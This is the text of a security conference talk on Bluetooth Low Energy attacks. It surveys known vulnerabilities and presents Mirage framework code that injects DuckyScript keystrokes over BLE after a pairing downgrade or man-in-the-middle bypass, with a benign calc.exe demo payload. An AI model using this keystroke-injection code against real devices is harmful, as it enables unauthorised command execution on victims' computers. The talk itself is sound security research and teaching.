




Hacking and Exploit Development for Bluetooth Low Energy (BLE)

About Me

- Sarah Mader
- Security Analyst since 2021(at NSIDE since 2020)
- M.Sc. Applied IT-Security
- Expertise:
 - IoT & Firm-/Hardware Hacking
 - Web Application Hacking
 - Network Penetration Tests
 - Bluetooth

About NSIDE


- Founded in 2014 in Munich
- 100 % privately owned
- More than 25 employees
- German-speaking team
- Headquarter in Munich



Bluetooth Low Energy?

Bluetooth® Enabled Device Shipments by Radio Version

NUMBERS IN BILLIONS



Data Source: ABI Research, 2022

<https://www.bluetooth.com/de/2022-market-update/>

Vulnerabilities

General

- Resource draining (DoS)
- DoS though connection
- Jamming (DoS)
- Device Spoofing

Configuration

Design

Implementation

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- Eavesdropping
- MitM
- Legacy Pairing (not OOB)
- Replay
- Relay
- Malicious apps
- Weaken pairing algorithm
- Debug mode
- Characteristic permissions
- Identity tracking

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Design

- Key Negotiation of Bluetooth (KNOB)
- Fixed coordinate invalid curve attack
- BlueDoor
- BlueMirror
- BLE Spoofing Attack (BLESA)
- Circumvention MitM protection HID
- BLURtooth (DoS)
- Overwrite LTK (DoS)
- Fixed IRK in mobile devices
- Method Confusion Attack

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Implementation

- BLEEDINGBIT
- BleedingTooth
- SweynTooth (LLID deadlock, Zero LTK Installation, DH key check skipping)


Vulnerabilities

- Method Confusion on Bluetooth Pairing - <https://www.sec.in.tum.de/i20/publications/method-confusion-attack-on-bluetooth-pairing/@download/file/conference-proceeding.pdf>
- BLEEDINGBIT - <https://www.armis.com/bleedingbit/>
- BIAS - <https://ieeexplore.ieee.org/document/9152758/>
- KNOB Attack - <https://dl.acm.org/doi/10.1145/3394497>
- Fixed Coordinate Invalid Curve Attack - <https://www.cs.technion.ac.il/~biham/BT/>
- SweynTooth - <https://asset-group.github.io/disclosures/sweyntooth/>
- BleedingTooth
 - <https://github.com/google/security-research/security/advisories/GHSA-7mh3-gq28-gfrq>
 - <https://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq>
 - <https://github.com/google/security-research/security/advisories/GHSA-ccx2-w2r4-x649>
- CrackLE - <https://www.usenix.org/conference/woot13/workshop-program/presentation/ryan>
- A Study of the Feasibility of Co-located App Attacks against BLE and a Large-Scale Analysis of the Current Application-Layer Security Landscape - <https://www.usenix.org/conference/usenixsecurity19/presentation/sivakumaran>
- BlueDoor - <https://doi.org/10.1145/3386901.3389025>
- BLESa - <https://www.usenix.org/conference/woot20/presentation/wu>
- Breaking Secure Pairing of Bluetooth Low Energy
- Using Downgrade Attacks - <https://www.usenix.org/conference/usenixsecurity20/presentation/zhang-yue>
- Weaponizing the BBC Micro:Bit - <https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEF%20CON%2025%20-%20Damien-Cauquil-Weaponizing-the-BBC-MicroBit-UPDATED.pdf>


Getting Started

- (Very) General Overview of the protocol:
<https://www.bluetooth.com/specifications/specs/core-specification-5-3/>
- Attack Scenario
- Overview Mirage Framework
- Some implementation details
- Demo
- Conclusion

Protocol Stack & Architecture



Connection Setup




Pairing

Version	Pairing
Legacy Pairing v4.0 & v4.1	JustWorks
	PassKey Entry
	Out-of-Band
Secure Connections v4.2+	Just Works
	Numeric Comparison
	PassKey Entry
	Out-of-Band

<https://www.usenix.org/conference/woot13/workshop-program/presentation/ryan>

Attack Scenario – HID Device




- Not manufacturer related!



<https://shop.hak5.org/products/usb-rubber-duddy-deluxe>

Attack Scenario – HID Device




```
GUI r  
DELAY 2500  
STRING calc.exe  
ENTER
```



<https://shop.hak5.org/products/usb-rubber-ducky-deluxe>

Scenario One


- Downgrade the security



SC = Secure Connections

Scenario Two

- Bypass Human Interface Device (HID) MitM protection




Requirements

- 2 x nRF58420 Dongles (~10 €)

- Zephyr HCI_USB sample:
https://docs.zephyrproject.org/latest/samples/bluetooth/hci_usb/README.html

- Mirage Framework



<https://www.nordicsemi.com/-/media/Images/Products/DevKits/nRF52-Series/nRF52840-Dongle/nRF52840-Dongle-rev2-prod-page.png?h=658&la=en&mw=350&w=350&hash=BEC9F2BA73A7DD38DEB21D3335AC2DF8D8980E1D>

Mirage

“Mirage is a powerful and modular framework dedicated to the security analysis of wireless communications.”

Supports:

- BLE, Enhanced ShockBusrt, Mosart, WiFi, Zigbee, Infrared...


Wiki:

- <https://homepages.laas.fr/rcayre/mirage-documentation/index.html>

Source:


- <https://github.com/RCayre/mirage>

Exploit Development with Mirage



<https://homepages.laas.fr/rcayre/mirage-documentation/overview.html>


Exploit Development with Mirage



<https://homepages.laas.fr/rcayre/mirage-documentation/overview.html>

Scenario Signal

```
@module.scenarioSignal("helloworld")
def sayHello(self, name):
    io.info("Default behaviour : hello, "+name)
```



<https://homepages.laas.fr/rcayre/mirage-documentation/scenarios.html>

Mirage Module

- Create Module with:

```
mirage --create_module
```


```
from mirage.core import module
from mirage.libs import utils,ble

class newmod(module.WirelessModule):
    def init(self):
        self.technology = "ble"
        self.type = "test"
        self.description = "Test module"
        self.args = {'INTERFACE': 'hci0', 'PARAM1': 'value1'}
        self.dependencies = ["ble_sniff","ble_scan"]


    def run(self):
        # Enter your code here.
        return self.ok({})
```

<https://homepages.laas.fr/rcayre/mirage-documentation/modules.html#writing-your-own-module>


Secure Connections MitM Module




Secure Connections MitM Module



Secure Connections MitM Module



Secure Connections MitM Module



Mirage Scenario

- Create Scenario with:

```
mirage --create_scenario
```

```
from mirage.core import scenario
from mirage.libs import io,ble,bt,utils

class test(scenario.Scenario):

    def onStart(self):
        return True

    def onEnd(self):
        return True

    def onKey(self,key):
        return True
```

<https://homepages.laas.fr/rcayre/mirage-documentation/scenarios.html>

Mirage Scenario - onStart

```
def onStart(self):

    self.hidMap = HIDMapping(locale="de")

    parser = parsers.DuckyScriptParser(filename=self.args["DUCKYSCRIPT"])
    self.attackStream = parser.generatePackets(
        textFunction=self.addText,
        initFunction=self.initPacketList,
        keyFunction=self.addKeystroke,
        sleepFunction=self.addDelay
    )

    return True

def onEnd(self, result):
    return True

def onKey(self, key):
    if key == "esc":
        self.module.setStage(self.module.BLEStage.STOP)
        return False

    if self.args["DUCKYSCRIPT"] and key=="1":
        for o in self.attackStream:
            self.module.a2mEmitter.sendp(o)

    return False
```


Mirage Scenario – DuckyParser Functions

```
def addKeystroke(self, locale="de", key="a", ctrl=False, alt=False, gui=False, shift=False):
    keystrokes = []
    keystrokePressed = ble.HIDoverGATTKeystroke(locale=locale, key=key, ctrl=ctrl, alt=alt, gui=gui, shift=shift)
    keystrokeReleased = bytes([0,0,0,0,0,0,0,0,0,0,0])
    keystrokes.append(ble.BLEHandleValueNotification(handle=0x0013, value=keystrokePressed.data))
    keystrokes.append(wireless.WaitPacket(time=0.004))
    keystrokes.append(ble.BLEHandleValueNotification(handle=0x0013, value=keystrokeReleased))
    return keystrokes

def initPacketList(self):
    return []

def addDelay(self, duration=1000):
    keystrokes = []
    keystrokes.append(wireless.WaitPacket(time=0.0001*duration))
    return keystrokes


def addText(self, string="hello world !", locale="de"):
    keystrokes = []
    for letter in string:
        keystrokes += self.addKeystroke(key=letter, locale=locale)
    return keystrokes
```

GUI r
DELAY 2500
STRING calc.exe
ENTER



Mirage Scenario – Scenario Signal

```
def onSlaveHandleValueNotification(self, packet):  
    if packet.handle==0x0013:  
        key = self.hidMap.getKeyFromHIDCode(modifiers=packet.value[0], hid=packet.value[1])  
        if key:  
            io.success(key)  
    return True
```

Advertising Mode



Demo



Conclusion

- Many ways to disrupt the connection and enforce a new pairing process
- Would you push the button if your keyboard is unavailable?
- Only enforcing of Secure Connection mode on BOTH devices prevents MitM attacks – Security Mode 1 Level 4

Q&A



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